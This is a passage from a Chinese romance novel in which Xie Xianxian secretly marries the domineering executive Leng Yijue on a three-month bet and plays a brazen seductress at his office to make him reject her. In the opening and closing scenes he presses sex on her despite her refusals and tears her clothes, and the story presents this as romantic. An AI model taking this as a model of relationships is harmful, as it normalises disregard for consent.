  “喂!我到底要说几遍你才听得懂,我不会嫁给你,你不要再做白日梦了。”她以为男人比女人更向往自由,可是他却老把结婚挂在嘴边,婚姻大事对他来说好像办家家酒一样,一点也不慎重,他把她当成什么?
  “看样子,你还没认清楚事实。”眼神一沉,冷奕爵像是一只准备掠取食物的黑豹,一步一步的朝谢纤纤逼近。
  刚刚的气势一下子全不翼而飞,谢纤纤不安的吞了口口水,颤抖的往后一退,背抵着墙壁,“你……你想干什么?”
  “我会让你永远离不开我。”攫住她的嘴,他的唇舌霸道的和她的纠缠,蛮横地吸吮她口中的甜蜜,他的手直截了当的解开她衬衫的扣子。
  “不要……”她的理智还在抗拒,然而她的身体却投降了,他的激情就像蛊毒一样,一旦碰上就身不由己——窝在沙发里,谢纤纤懊恼的爬着紊乱的发丝,该死!她吃错药了是不是?竟然让这种事又再一次发生,而且还乐在其中……天啊!她骨子里一定是个好色的“荡妇”,否则怎么会容许自己跟这个卑鄙无耻的小人做这种……“承认吧!我们就像两块磁铁,谁也抗拒不了谁。”
  虽然不想同意他的话,却又否认不了,她对他的感觉好矛盾,明明恨死他了,但只要他一出现,眼睛又离不开他,他不只是一块磁铁,根本就是一个磁场,任何人都会情不自禁的被他吸引。
  “我可以想象你穿上白纱的样子,一定很美。”冷奕爵痴迷的看着她。
  “你一定会后悔娶我,我真的、真的不是一个好妻子。”谢纤纤不死心的又重申一遍,想说服他打消娶她的念头,这是她的真心话,她除了长得漂亮,工作能力强之外,其他可以说是一无是处,不懂得煮饭烧菜,懒得连贴身衣物都要丢给洗衣机处理……她的缺点真的很多很多。
  眉轻轻一挑,冷奕爵挑衅道!“有本事的话,等我们结婚以后,你证明给我看,也许我会考虑放你自由。”
  “你别想诱我上钩,骗我跟你结婚。”
  “我用不着骗你,总之我绝对不容许你挺着肚子踏进结婚礼堂。”
  “你少诅咒我,我不会怀孕。”她虽然对传统的道德观很不以为然,可是真要当未婚妈妈,还是不能不审慎的考虑,她并不在乎人家指指点点,可是孩子没必要跟着她受罪。
  十四岁那年,爸爸抛下妈咪和她,跟一个有钱的女人走了,无一技之长的妈咪为了养她,跑去酒店当公关,一个月后,妈咪遇到一个很有钱的男人,从此沦为情妇,也让她开始生活在异样的眼光之中。这种伤害她不知道花了多少年才慢慢释怀,她可不想让另外一个无辜的生命也走上这么一回。
  “相信我,我一定会让你怀孕。”冷奕爵信心满满的道。
  眼皮不安的跳动,谢纤纤不自觉的往后一缩,“你这是什么意思?”
  “你懂我的意思,你应该知道,只要持之以恒,再接再厉,我们一定会有一个可爱的小宝宝。”
  “我绝对不会再让你碰我。”
  冷奕爵邪气的一笑,虎视耽耽的往她靠了过去,将她困在沙发里。
  她呼吸急促,颤抖的道!“你……你想干什么?你别乱来哦!”
  抚着谢纤纤粉雕玉琢的五官,他声音沙哑的说:“难道没有人告诉你,男人是禁不起刺激的,你这是在邀请我跟你做爱,你知道吗?”
  “我不是……我……好好好,要我嫁给你可以,一个条件,我们的关系不可以公开。”
  “不可以公开?”
  “除了我们两个,我不要任何人知道我们是夫妻。”
  饶富兴味的看着谢纤纤,冷奕爵笑着开口,“这可新鲜。”
  “你不是说,只要我有本事证明我不是一个好妻子,你就会放了我吗?我不喜欢麻烦,我可不想浪费精神眼人家解释,我们为什么闪电结婚,又闪电离婚。”
  “如果你一辈子都证明不了,我们不就得当一辈子的‘地下夫妻’?”
  “这……你给我一年的时间。”
  摇了摇头,冷奕爵干脆俐落的作出另一个决定。“三个月,否则免谈。”
  “三个月?你也太小气了吧!”
  “搞清楚,是你想摆脱我,要我配合就得照我的游戏规则来玩。”
  撇了撤嘴,谢纤纤心不甘情不愿的说:“好嘛好嘛!”
  就这样子,昨天,谢纤纤和冷奕爵速战速决的公证结婚了,不过她还是很正式的穿上一袭从法国空运来台的婚纱,而他则是世界上最英俊迷人的新郎,可是除了他们两个当事人,没有人当他们的贵宾,事后,她便搬进冷奕爵为她准备的“牢笼”。
  现在想起来,她好像太冲动了,她连冷奕爵是什么样的人都还没搞清楚呢!不过话说回来,如果能够乘机摆脱掉他,总比每天跟他争个没完没了来得好啊!
  可是问题来了,就算她能够证明自己不是一个好妻子,她怀疑他接不接受这个事实,经过这些天的对峙,她发现他很固执,她没什么信心说服他。
  “纤纤……纤纤……”伸出手,蓝燕珠不耐烦的在谢纤纤眼前晃了晃,“你今天是怎么了?魂不守舍的,好像有心事,你到底发生什么事?”说着,目光再一次飘向谢纤纤的胸前,她可不是那种随随便便就可以唬弄的人,这个女人没事身上挂着一颗钻戒,一定有问题!
  怔怔的从“过去”回到现实,谢纤纤心不在焉的应道:“我没有啊!”
  “你少来了,我比你妈咪还了解你,你没心事?我呸!”
  举起双手,谢纤纤一副投降的说:“好吧!我承认,我确实遇到麻烦。”
  “什么麻烦?”
  “我遇到一个疯子,第一眼看到我就想跟我结婚,我身上的钻戒就是他硬塞给我的,这么贵重的东西,放在家里我不安心,放在皮包又怕人家抢,只好把它挂在身上。”若是让冷奕爵知道她把他说成疯子,他心里不知道会有什么感受?不过,他的行径确实也跟疯子没什么两样。
  “真的还假的?”蓝燕珠半信半疑的瞪大眼睛。
  “难不成你以为我得了幻想症吗?”
  若有所思的看了谢纤纤半晌,蓝燕珠点了点头,“有可能,男人一看到你就像猫咪看到鱼儿,恨不得扑上去吃得精光。”
  谢纤纤不以为然的翻了翻白眼。
  “对了,对方是什么样的男人?送你钻戒,他肯定很有钱。”
  挥了挥手,谢纤纤厌烦的说:“那种男人有什么好说?我现在只想摆脱掉他,你帮我想想法子,怎么让一个男人恨不得把你甩了?”
  “这还不简单,对症下药啊!”
  “什么对症下药?”
  “也就是投其所恶,他不喜欢什么,你就给他什么,过不了多久他就会消化不了,对你一点兴趣也没有。”
  是吗?她可不认为冷奕爵这么好应付,否则她也不会栽在他的手上……哎呀!她真笨,怎么没想到这么简单的道理,其实,只要她整得冷奕爵受不了,一看到她就“消化不良”,还怕恢复不了自由之身吗?不过,这可能要花点时间,还好她正在休假,多得是时间天天跟他耗,让他不得安宁。
  就这么决定了,这事她得好好算计算计。
  第三章
  一件短到只能遮住臀部的细肩带黑色贴身洋装,一双十二公分高的细跟黑色高跟鞋,再戴上一副太阳眼镜,谢纤纤风情万种的走进“冷氏集团”总公司的办公大楼。
  来到大厅的正中央,她优雅的摘下太阳眼镜,眨着那双水亮的大眼睛,巧笑倩兮的朝大厅的工作人员抛了一个媚眼,很高兴他们早在她出现的那一刻,个个全像傻子一样目瞪口呆。
  半晌,她才款款生姿的走到接待小姐所在的柜台,双手交叉往前一靠,一点也不在意胸前若隐若现的春光教人一览无遗,她妩媚的一笑,以甜得会腻死人的声音对其中一名接待小姐说:“小姐,我找冷奕爵。”
  一双眼睛直勾勾的落在谢纤纤的胸前,接待小姐已经震惊得说不出一句话,她从来没见过这么辣的美人。
  拢了拢她那头及腰的长发,谢纤纤像在挑逗似的又向前一倾,柔媚的问:“有问题吗?”
  好似被电到一般,接待小姐抖了一下,不过,这总算让她找回自己的神智,她尴尬的正了正身子,有礼的问:“小姐,你有预约吗?”
  “预约?有必要这么麻烦吗?我也是临时起意,我想问他今天晚上……”眨了眨眼睛,谢纤纤故作暧昧的压低嗓门,“上哪儿狂欢。”
  “狂欢?”接待小姐惊讶的瞪大眼睛。
  极尽娇媚的掩嘴一笑,谢纤纤神秘兮兮的轻声道:“我告诉你,你别看他一副温文儒雅的样子,其实他那个人疯狂得不得了,有时候兴致一来,也不管我们在什么地方,旁边有没有别人,就要我跟他……哎呀!这种事说起来怪不好意思,你当我没说好了。”
  不知道是不是被吓呆了,接待小姐张大嘴巴瞪着她。
  看了一下搁在柜抬上面的牌子,谢纤纤转口问:“你叫琳达?”
  接待小姐机械化的点点头。
  “琳达,我现在可以上楼了吗?”
  “可以……呃,不行不行!没有预约,不可以见我们总经理。”天啊!差一点被她吓糊涂了。
  “你一定是在开玩笑,我跟冷奕爵关系那么亲密,用得着预约吗?”
  “小姐,对不起,这是公司的规定。”
  规定?唇边勾起一抹贼笑,谢纤纤拿出手机,迅速拨了一串号码,一会儿之后,她嗜声嗜气的说!“我最亲爱的冷大公子,我现在想去找你,要不要先跟你预约……不用是不是,那我现在就过去哦!”切断通话,她朝琳达摆了摆手,“你都听到了,我可以上去了吗?”
  不疑有他,琳达点了点头,“小姐请上十六楼。”
  “谢谢,拜拜!”送上一个飞吻,谢纤纤将太阳眼镜戴了回去,扭着她挺俏的臀部往电梯走去。
  “琳达,那个女人是不是总经理最新一任情妇?”站在琳达身边的另一名接待小姐突然出声道。
  “不是,总经理怎么可能……”琳达怎么也不能接受她心目中温文儒雅的总经理会有这样的情妇,这个女人骚得会让人起鸡皮疙瘩。
  “你看看她,穿成那副德行,像不像专门勾引男人的狐狸精?如果不是总经理的情妇,难道是总经理的妹妹?”
  “总经理没有妹妹,只有一个弟弟。”
  “所以我说,她一定是总经理的情妇。”
  “好啦好啦!别再说了,小心让她听到,那就不好了。”
  没理会那两位接待小姐的议论纷纷,谢纤纤踏入电梯,按下十六楼。
  情妇?她像吗?谢纤纤看着倒映在镜子里面的自己,天啊!果然是狐狸精的化身,风骚妖艳,不过,她很喜欢自己制造出来的效果,真是棒呆了!
  “冷奕爵,你等着迎接‘崭新’的生活吧!从现在开始,我会天天来这里骚扰你,搞得你头昏脑胀,不得安宁。”说着,忍不住隔空对着镜子里的自己猛亲一番,天啊!她真是聪明得连自己都会嫉妒。
  没有多久,电梯来到了十六楼,谢纤纤打开皮包,取出香水帮自己加味,直到那香味把她呛得快喘不过气来她才停手,把香水塞回皮包裹,接着,她将两边的肩带往旁边一拉,那像是要掉落在手臂上的肩带,让她看起来更加性感撩人,她终于满意的朝目的地走去。
  一摇一摆,谢纤纤款款生姿的走进总经理室。
  慢条斯理的把四周打量了一番,谢纤纤的视线最后落在一道紧闭的门,门上镶了一块金牌,牌子上写着“总经理”,那儿肯定是冷奕爵的办公室。
  用不着开口说话,谢纤纤身上浓得会呛死人的香水味已经把冷奕爵的秘书——方莹欣的目光给召唤过来。
  一看到她,方莹欣许久说不出一句话,只能睁大眼睛直瞪着她。
  搔首弄姿的拨着她那头又直又长的黑发,谢纤纤缓缓的走到方莹欣的办公桌前面,双手一左一右分置在桌沿,她半弯着身子,像在挑逗似的向前一倾,娇滴滴的招呼道:“哈,你好!”
  方莹欣不自主的抖了一下,吞了口口水,傻然的瞪着她胸前呼之欲出的乳峰,天啊!她从来没有看过这么……这么风骚的女人,“我猜,你一定是冷奕爵的秘书,你叫什么名字?”屁股往桌沿一坐,谢纤纤大剌刺的跷起脚,白皙的大腿毫无遮掩的暴露眼前。
  “方莹欣。”她呆呆的回答,一双眼睛像是被黏住似的盯着谢纤纤不放。
  “好美的名字,对了,我叫谢纤纤,请多指教。”
  突然清醒过来,方莹欣清清喉咙,公式化的问:“小姐,请问有什么事?”
  “真不好意思,我都忘了告诉你,我要找冷奕爵。”
  “小姐跟我们总经理有约吗?”
  掩嘴一笑,谢纤纤暧昧的眨了眨眼,“哎呀!我跟他都已经那么亲密,连他穿什么颜色的内裤,晚上睡觉有什么习惯我都知道,用得着这么费事吗?”
  方莹欣这下又傻了,一时之间找不到声音应对,这个女人是总经理的情妇吗?她是听说过总经理很花心,情妇换过一个又一个,不过,这都是从杂志上看来的消息,当了总经理五年的秘书,还不曾看过总经理任何一任情妇,因此她怀疑杂志上的新闻全是记者杜撰出来的。
  “不打扰你,我看我自个儿进去好了。”跳下桌子,谢纤纤扭腰摆臀的往冷奕爵的办公室走去。
  直到她推开总经理办公室的门,方莹欣才怔怔的回过神,赶紧冲过去阻止她,“小姐,你不可以进去,小姐……”
  “听到方莹欣的惊叫声,冷奕爵立刻放下手边的工作,抬头一瞧,不过还来不及搞清楚状况,谢纤纤已经像饿狼扑羊,火热的往他身上一跳,”达令,人家想死你了。“也不在意有其他的观众,她勾住他的脖子,就是一记热情的长吻。
  望着这一幕,方莹欣像受到惊吓,整个人像根木头一样动也不动的站着,直到谢纤纤全身软绵绵的瘫在冷奕爵的怀里,她才慌慌张张的回神道:“总经理,这位小姐她……”
  “没关系,这儿没你的事,你去忙你的。”
  “是,总经理。”忍不住多看了谢纤纤一眼,方莹欣转身退出办公室,没想到,那个风骚的女人真的是总经理的情妇,天啊,这无疑是一朵快凋谢的烂花插在肥沃的土地上,太浪费了!
  方莹欣一离开,谢纤纤双脚分立在冷奕爵所坐的椅子上,接着屁股往办公桌正中央一坐,无情的将公文压在屁股下,她伸手勾起他的领带,将他拉向自己,又娇又柔的抱怨,“见你一面好辛苦哦,什么还要预约,真是麻烦死了!”
  什么话也不说,冷奕爵似笑非笑的瞅着她,看样子,他美丽的小东西开始采取行动了。自从他们完成终身大事,这三天来,她一直不动声色,他还以为她已认清楚他们彼此相属的事实,决定放弃约定,安安分分当他的妻子了,很显然,他低估了她倔强的脾气,不过,他还真看不懂,她现在在玩什么把戏?
  “在看什么?想把我吃了啊!”倾身向前,谢纤纤一副柔弱无骨的圈住他的脖子,一双小手不安分的在他的颈项上又揉又捏的。
  唇角勾起浅浅的一笑,不过那笑容却莫测高深得教人不安,冷奕爵将椅子往前一滑,手不客气的在她白皙的大腿上来回抚摸。
  “小东西,你今天心情很好?”说到玩游戏,他是个中高手,不管她出什么戏码,都不是他的对手,既然如此,他干么不陪她玩玩?
  压下心慌,谢纤纤回以妩媚的一笑,“好得不得了,我刚刚拿你帮我办的卡去买了好多衣服,花了你……哎呀!算不清楚,反正就是很多钱,你不会心疼吧?”
  “不会,只要你高兴就好。”
  “达令,你真好。”啪的一声,她火辣辣的赏了他一个吻。
  “就这样子?”眼神一热,冷奕爵将她往怀里一勾,她立刻跌坐在他的腿上,他的嘴饥渴的寻找她裸露的颈项。
  拜托,她是来这里骚扰他,惹他心烦的,可不是来做那件事,这……事情好像有点走样了吧!
  巧妙的推开他,谢纤纤故作热情的在他身上摸来摸去,赶紧转到另一个话题,“达令,人家每天在家里好无聊,你带我去参加宴会好不好?”
  “我以为你不喜欢宴会。”
  “谁说我不喜欢,我爱死了。”
  突然想到一件很重要的事,冷奕爵不高兴的皱起眉头,“你就这样子出门?”
  “你觉得怎么样?漂亮吗?”很高兴他终于注意到她特意的打扮,谢纤纤滑下他的大腿,风情万种的转了一圈。
  狠狠的瞪了她一眼,他警告似的厉声道:“我不喜欢,非常非常不喜欢。”
  “可是我喜欢啊!”她不怕死的朝他眨了眨眼睛。
  “我不准你穿这样子出门,听清楚了吗?”
  再一次坐到办公桌上,谢纤纤优雅的跷起脚,轻轻一踢,甩掉脚上的高跟鞋,接着伸直长腿,脚指头在冷奕爵的大腿上似有若无的挑逗着,“亲爱的,放轻松一点,不要这么严肃嘛!”
  “把我的话记住了没?”如果不是气得想打她一顿屁股,他真想一口把她吞进肚子里,天啊,她看起来真是该死的诱人!
  双脚跨在椅子上,双手分别抓住椅子的手把,谢纤纤抬起屁股,往前坐在冷奕爵的大腿上,她诱惑的用手指在他的胸前画着圈圈,“这衣服跟我可是天生一对,不穿它多可惜啊!”
  凝视她半晌,冷奕爵笑了,“你以为这样子就可以惹我生气吗?”
  “无聊,我干么惹你生气?”她不敢期望自己能气死他,只要让他头痛、厌烦,这就够了,今天只是第一天,接着是第二天、第三天……情况会“渐入佳境”,最后他一定会受不了她,恨不得摆脱她。
  “好吧,既然你这么喜欢这件衣服,我也舍不得为难你,你爱穿就穿。”
  “达令,我现在才知道你这么善体人意,来,香一个。”谢纤纤极其媚人的将右手的中指放在自己的嘴上亲了一下,再贴上冷奕爵的唇瓣。
  他笑了笑,心中暗忖,等他回到家,找机会把这件衣服撕了,不知道她是否还认为他善体人意?
  就在这时,冷奕爵的特别助理,也是跟他一起留英的好朋友冉俊走进办公室,“奕,今天晚上……”看到眼前极为暧昧的一幕,冉俊一时“消化不良”,忘了自个儿要说什么。
  “哈!”转过头,谢纤纤千娇百媚的朝他招了招手。
  美丽的女人总是让人忘了自己是谁,冉俊失神的看着她,好性感的女人。
  “咳!”冷奕爵“不舒服”的清了清喉咙,一双眼睛冷冰冰的瞪着冉俊,这个臭小子,他难道不知道朋友妻不可戏吗?竟然敢对他老婆流口水!
  “对不起,我不知道你有客人在,我先出去……”
  “不用了,我已经待得够久,不打扰了。”跳下冷奕爵的大腿,谢纤纤在他的唇上用力的亲了一下,“亲爱的,我走了,拜拜!”
  穿好鞋子走到冉俊的身边,她风骚的朝他抛了一个媚眼,才一摇一摆的晃出去。
  冉俊忍不住好奇的问:“好骚的女人,她是谁?”
  脸色一沉,冷奕爵没好气的口道:“不准打她的主意,她是我的女人。”
  顿了一下,冉俊惊讶的瞪着他,“你很认真?”跟奕交往的女人都知道他有个禁忌,他不容许女人找到公司来,谁敢坏了他的规矩下场只有一个——分手,而且一毛钱也拿不到。
  曾经有女人不知死活的以身试法,当场就被轰出去。一般的女人很容易被奕的外表蒙骗,以为他是个谦谦君子,其实他既狂妄又强悍,这从他处理事情的态度就可以一目了然。
  “你不用管那么多。”
  “我只是关心你。”冉俊无辜的撇撇嘴。
  “谢谢,用不着。”
  “是是是,对了,今天晚上雷凯想找我们喝一杯,你去不去?”
  “我有事,你们两个自己去。”
  “雷凯说他快疯掉了,每天被工作压得快喘不过气,后天还得飞去香港,你今晚不陪他喝一杯,听他吐吐苦水,他会骂你不够朋友。”
  “好吧!我把事情推掉,跟你们一起去。”如果不是那家伙通风报信,他怎么能够在纤纤落跑之前逮住她,能够娶到纤纤,那家伙也算得上是功臣,今天晚上陪他喝杯酒,算是给他的谢礼,而且,他正好需要那个家伙为他准备一套“雷氏珠宝”最新款式的首饰。
  “我的天啊!你怎么会穿成这个样子?”看着谢纤纤那身惹火的穿着,胡佩芝忍不住皱起眉头,这是她女儿吗?
  拉下一边的肩带,谢纤纤将修长的双脚伸到茶几上,风骚的摆出撩人的姿势,然后抛给胡佩芝一个媚眼,“妈咪,你不觉得我这样子很美吗?”
  她可不是有意吓妈咪,她也没想到一走出冷奕爵的办公室,就接到妈咪的电话,根本没有时间回去换套衣服,再说,戏想演得好,平时就要多练习,否则怎么会有效果呢?
  头痛的揉了揉太阳穴,胡佩芝不以为然的道:“我的女儿不必穿成这副德行也很美。”把纤纤教养成淑女,一直是她努力的目标,她不希望纤纤像她一样让人瞧不起,不过,纤纤像是生来就有叛逆的基因,外表勉强装得来淑女,可骨子里就是一匹野马。
  纤纤的性子一向就倔,她根本管不动,除了干着急没别的办法,好不容易看她进入“雷氏企业”,说话穿着各方面变得愈来愈得体,她总算松了口气,没想到这会儿她又……“妈咪,这件衣服可花了我不少钱,你不要把它说得一点价值也没有,我还满喜欢的。”为了避免大家老拿她天生丽质的外表作文章,她不仅在工作上做得比别人更卖力,平时还得穿一些正式的套装把自己包装得很公式化,这真是“暴强天物”,糟蹋了她完美无瑕的好身材。
  “你知不知道你这个样子像什么?”
  “狐狸精啊!”
  不知道该笑还是该哭,胡佩芝无力的翻了翻白眼,“不错嘛!你还挺有自知之明。”
  “妈咪,不是每个女人都可以当狐狸精,没有那么一点本钱还当不来呢!”如果不是她生得如花似玉,把自己打扮成这个样子,说不定还会被人家形容成“东施效颦”。
  真是受不了,胡佩芝摇了摇头,“我不跟你说这些,再说下去我会被你气死。”
  “妈咪,你不要这么严肃,这有什么大不了的。”
  “这还没什么大不了?”想当初,她为了生活被逼到酒店工作的那段日子,都还穿得比她现在多。
  “好吧!是骚了点,不过我倒觉得这样比较符合我的本性。”
  “你!算了算了,我不管你了。”丈夫的遗弃带给她很大的伤害,对纤纤其实也一样,为了不让纤纤活在这样的阴影当中,她对纤纤的期望虽然很高,却更尊重她的想法,希望她能够活出自我、肯定自我,不过也正因为如此,她这个母亲当得是一点威严也没有。
  讨好的一笑,谢纤纤撒娇的腻到胡佩芝的身边,“妈咪,你急急忙忙的把我叫回来,不是为了跟我讨论穿着的问题吧?”
  “我晚上要去加拿大,这一次大概会待上一个月左右。”
  “跟江叔叔一起去?”对胡佩芝的情夫江允豪,谢纤纤并不讨厌,不过也不喜欢,以前妈咪跟着江允豪,她还能理解,可是现在她已经有能力养活妈咪了,为什么妈咪还要如此作践自己,没名没分的跟着他?
  “你江叔叔一个礼拜前就飞到加拿大了,他在那里等我,纤纤,妈咪搭晚上十点的飞机,你送妈咪到机场,妈咪把车子留给你开。”
  “喔!”每次都这个样子,出国的时候才会想到她这个女儿。
  “纤纤,要不要妈咪买什么礼物回来给你?”
  “不用了,我什么都不缺。”什么礼物,还不是江允豪花钱买的。
  “怎么了?嘟着嘴巴,不喜欢妈咪去加拿大是不是?”
  “没有啊!”她不喜欢又怎么样?只要江允豪一句话,妈咪就会排除万难飞到他身边,她这个女儿算哪一根葱!!
  胡佩芝怎么可能看不出来女儿的心思,她搂住谢纤纤的肩膀,语重心长的道:“小宝贝,有些事情你现在还不懂,不过你要相信妈咪,妈咪不会出卖自己的感情。”
  她都这么大了,还有什么事情不懂?不过,谢纤纤还是体贴的说:“妈咪,我爱你,不管你做什么我都支持你。”
  “小宝贝,妈咪也爱你。”
  看着墙上的挂钟,时间一分一秒的过去,冷奕爵的眉头也愈皱愈高,他急急忙忙的摆脱掉雷凯他们赶回来,却发现纤纤根本不在,她跑去哪里,为什么这么晚了还不回来?
  十二点整,客厅的大门终于打开了,谢纤纤疲惫不堪的走进屋内,她一手提着皮包,一手提着原本穿在脚上的高跟鞋。八点半她就送妈咪到机场了,可是也不知道发生什么事,飞机整整延误了两个小时,拖到十一点她才离开中正机场,这一折腾,快把她累死了。
  “你去哪里?”愤怒的从沙发站起身,冷奕爵大步的来到她跟前。
  虽然已经累得没力气了,但是为了不让自己的努力功亏一篑,谢纤纤还是认分的展露风骚的本领,她丢开手上的皮包和高跟鞋,双手绕过他的颈项在他脑后交握,以那种会让人全身酥软的嗲声道:“达令,你在家啊!”
  “我在问你话。”
  “哎呀!干么生那么大的气?这还不都怪你,谁教你没空陪我,我只好自个儿出去找乐子啊!”
  “找乐子?”
  “我们去……不告诉你。”
  瞪着谢纤纤,冷奕爵像要扭断她的脖子。
  “亲爱的,放轻松点,只要你下了班回家陪我,常常带我去参加宴会,我就不会那么无聊,也就不必出去外面找乐子了。”
  冷奕爵突然笑了,却一句话也不说,直勾勾的瞅着谢纤纤,把她看得心里直发毛,不由自主的想落跑。
  “亲爱的,我玩得好累哦!我要去休息了,晚安。”她今天的戏已经演得够多了,没有精神再应付他,明天继续努力。
  她转身想走,冷奕爵忽然从身后抱住她,低头埋进她的颈窝,柔情似水的道:“对不起,是我太疏忽了,不该冷落你,以后下了班我会立刻回来陪你。”
  “这——不会太勉强你了吗?”
  “不,什么事都没有你来得重要。”
  闻言谢纤纤一震,怔得说不出话来,一种奇妙的幸福将她的心层层网住。
  可恶!他怎么可以说出这么令人感动的话,把她的心都弄乱了……不对,这是一个骗局,她要冷静一点,这个男人是个花花公子,最擅长甜言蜜语了,她怎么可以让他迷得神智不清?
  就在她失神之际,“刷”一声,冷奕爵一把撕裂她身上那件碍眼的衣服。
  身体突然感觉一凉,谢纤纤清醒了过来,看到他的杰作,她气得原形毕露,“你竟然把我的衣服……”
  “小东西,对不起,我太粗鲁了,不晓得这件衣服这么脆弱。”冷奕爵一副无辜的模样。
  谢纤纤可不接受他的道歉,她很肯定,他是故意的!
  “天啊,你真美!”看着身上只剩下贴身衣物遮掩的她,他醉了。
  他还没采取行动,她的身体已经强烈的感觉到即将引爆的激情,一股燥热在她体内流窜,她渴望的期待着,将理智的呼唤摒弃在心门外。
  四片唇瓣一缠上,天雷顿时勾动地火,他狂野的索求她的甜美,她热烈的回应他的唇舌和双手带给她的快感。
  女人的吟哦和男人的低吼交织出一幕幕的春色……许久之后,谢纤纤懒洋洋的和冷奕爵躺在床上,两眼已经昏昏欲睡的闭起来。
  冷奕爵可不打算就此放过她,他眷恋的玩着她被汗水沾湿的长发,唇舌在她耳边调皮地搔痒,“还记得我们第一次见面吗?”
  “我永远不会忘了你的‘香槟’。”软绵绵的声音透着疲倦,她已经累得不想理他,可是她知道不回答他,他不会善罢甘休。
  “我指的不是那一次。”
  “我在那之前见过你吗?”谢纤纤总算睁开眼睛了。
  冷奕爵没有回答,他要她自己想起来。
  “我在哪里见过你?”他愈不说她愈好奇,平心而论,像他这么出色的男人,她如果见过,不可能没有印象。
  “这不重要,你只要知道,我们的缘分早就注定了,你跑不掉。”
  嗤之以鼻的哼了一声,谢纤纤再度闭上眼睛,她累得不想浪费力气跟他争论,结果如何到时就可揭晓,逞口舌之快,只不过是多此一举。
  这一次,冷奕爵没有再打扰她,静静的看着她入睡。